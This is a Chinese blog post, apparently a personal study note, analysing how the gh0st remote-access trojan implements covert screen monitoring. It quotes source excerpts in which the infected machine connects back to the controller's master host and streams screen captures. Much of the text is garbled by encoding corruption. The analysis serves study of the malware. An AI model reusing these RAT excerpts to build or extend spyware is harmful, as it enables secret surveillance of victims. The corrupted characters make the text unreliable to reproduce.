gh0st源码分析:屏幕监控
這兩天一直看gh0st源碼,看得也是一頭霧水,下面就分析一下屏幕監(jiān)控的通信過程,對屏幕掃描算法以及繪圖方面就不分析了,因為我也不懂。寫的有點亂,就當作個筆記了。
首先從控制端按下屏幕監(jiān)控選項開始,這時控制端就會調(diào)用OnScreenspy()函數(shù)。這個函數(shù)很簡單,向被控端發(fā)送COMMAND_SCREEN_SPY指令,告訴被控端我要監(jiān)控你的屏幕了。此時被控端還在等待控制端的命令(ClientSocket.cpp中的Connect函數(shù)中新建的線程WorkThread一直等待執(zhí)行命令),WorkThread線程等到了執(zhí)行命令,調(diào)用OnRead函數(shù)對命令解密,接下來調(diào)用了CKernelManager::OnReceive函數(shù),OnReceive看到命令是COMMAND_SCREEN_SPY,就創(chuàng)建了Loop_ScreenManager線程:
DWORD WINAPI Loop_ScreenManager(CClientSocket* sRemote) {CClientSocket socketClient;if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))return -1;CScreenManager manager(&socketClient);socketClient.run_event_loop();return 0; }這個線程又調(diào)用CClientSocket的Connect連接控制端,并聲明了個CScreenManager類,并將socketClient與CScreenManager相關聯(lián)(參見CManager類的構造函數(shù):m_pClient->setManagerCallBack(this);),這樣socketClient的WorkThread線程收到的數(shù)據(jù)就可以傳送到了CScreenManager::OnReceive函數(shù)中,而不是CKernelManager::OnReceive函數(shù)了。
看下CScreenManager?構造函數(shù):
?
CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient) {m_bAlgorithm = ALGORITHM_SCAN;m_biBitCount = 8;m_pScreenSpy = new CScreenSpy(8);m_bIsWorking = true;m_bIsBlankScreen = false;m_bIsBlockInput = false;m_bIsCaptureLayer = false;m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true); }?
構造函數(shù)中又創(chuàng)建了兩個線程:WorkThread和ControlThread。WorkThread主要負責發(fā)送屏幕頁面,ControlThread沒看,暫時不知道干啥。看下WorkThread線程:
DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam) {CScreenManager *pThis = (CScreenManager *)lparam;pThis->sendBITMAPINFO();// 等控制端對話框打開pThis->WaitForDialogOpen();pThis->sendFirstScreen();try // 控制端強制關閉時會出錯 {while (pThis->m_bIsWorking)pThis->sendNextScreen();}catch(...){};return 0; }首先調(diào)用sendBITMAPINFO(),發(fā)送調(diào)色板信息(用TOKEN_BITMAPINFO指令標識)。發(fā)送后就等待控制端屏幕監(jiān)控窗口打開(等待m_hEventDlgOpen事件,當控制端屏幕監(jiān)控窗口打開時會發(fā)送COMMAND_NEXT指令,收到此指令后被控端會調(diào)用NotifyDialogIsOpen()函數(shù)來設置hEventDlgOpen)。先讓被控端在這兒等著吧,接下來我們再回到控制端。
控制端發(fā)送完COMMAND_SCREEN_SPY指令后,就繼續(xù)等待連接(ListenThreadProc線程)和等待接收數(shù)據(jù)(OnClientReading函數(shù)中接收完數(shù)據(jù)就會調(diào)用PostRecv投遞了IORead請求)。這時有了新連接(上面Loop_ScreenManager中的連接),于是調(diào)用OnAccept函數(shù),并為這個新的連接分配了ClientContext,并建立完成端口,然后在新的完成端口上投遞IORead請求,等待接收數(shù)據(jù)。很快數(shù)據(jù)來了(調(diào)色板信息),OnClientReading函數(shù)對數(shù)據(jù)解密,然后把數(shù)據(jù)給了NotifyProc函數(shù),NotifyProc函數(shù)又調(diào)用了ProccessReceiveComplete函數(shù),此時還沒有建立屏幕監(jiān)控窗口,因此pContext->m_Dialog[0] = 0。ProccessReceiveComplete根據(jù)TOKEN_BITMAPINFO指令,向主窗口發(fā)送了個WM_OPENSCREENSPYDIALOG消息,告訴主窗口建立個屏幕監(jiān)控的窗口,于是控制端調(diào)用OnOpenScreenSpyDialog函數(shù):
LRESULT CkongDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam) {ClientContext *pContext = (ClientContext *)lParam;CScreenSpyDlg *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext);// 設置父窗口為卓面dlg->Create(IDD_SCREENSPY, GetDesktopWindow());dlg->ShowWindow(SW_SHOW);pContext->m_Dialog[0] = SCREENSPY_DLG;pContext->m_Dialog[1] = (int)dlg;return 0; }創(chuàng)建了屏幕監(jiān)控窗口,并對pContext->m_Dialog賦值。m_Dialog[0]標識是屏幕監(jiān)控窗口,m_Dialog[1]指向此窗口。這樣ProccessReceiveComplete函數(shù)就可以根據(jù)pContext->m_Dialog直接將數(shù)據(jù)傳給CScreenSpyDlg了。建立了CScreenSpyDlg窗口,就要調(diào)用OnInitDialog函數(shù),在CScreenSpyDlg的OnInitDialog函數(shù)中,有調(diào)用了SendNext()函數(shù):
?
void CScreenSpyDlg::SendNext() {BYTE bBuff = COMMAND_NEXT;m_iocpServer->Send(m_pContext, &bBuff, 1); }?
發(fā)送COMMAND_NEXT指令給被控端。前面說了,被控端在發(fā)送調(diào)色板信息后就等待COMMAND_NEXT指令。
回到被控端,收到了數(shù)據(jù),數(shù)據(jù)解密后傳到了CScreenManager::OnReceive函數(shù)中,根據(jù)COMMAND_NEXT指令調(diào)用了NotifyDialogIsOpen()函數(shù),NotifyDialogIsOpen函數(shù)設置了m_hEventDlgOpen事件,?CScreenManager的WorkThread線程中WaitForDialogOpen()返回,于是執(zhí)行pThis->sendFirstScreen(),發(fā)送第一個屏幕畫面,用TOKEN_FIRSTSCREEN來標識。
控制端收到數(shù)據(jù)后到了ProccessReceiveComplete函數(shù),根據(jù)m_Dialog將數(shù)據(jù)傳給了CScreenSpyDlg中的OnReceiveComplete()函數(shù),根據(jù)相關指令來重繪屏幕監(jiān)控窗口。接下來被控端不停的發(fā),控制端就不停的重繪.........
?還沒分析完,還有發(fā)送控制命令那一塊沒看,有時間再寫。
總結
以上是生活随笔為你收集整理的gh0st源码分析:屏幕监控的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Gh0st 3.6 存在的BUG及修改方
- 下一篇: CSocket详解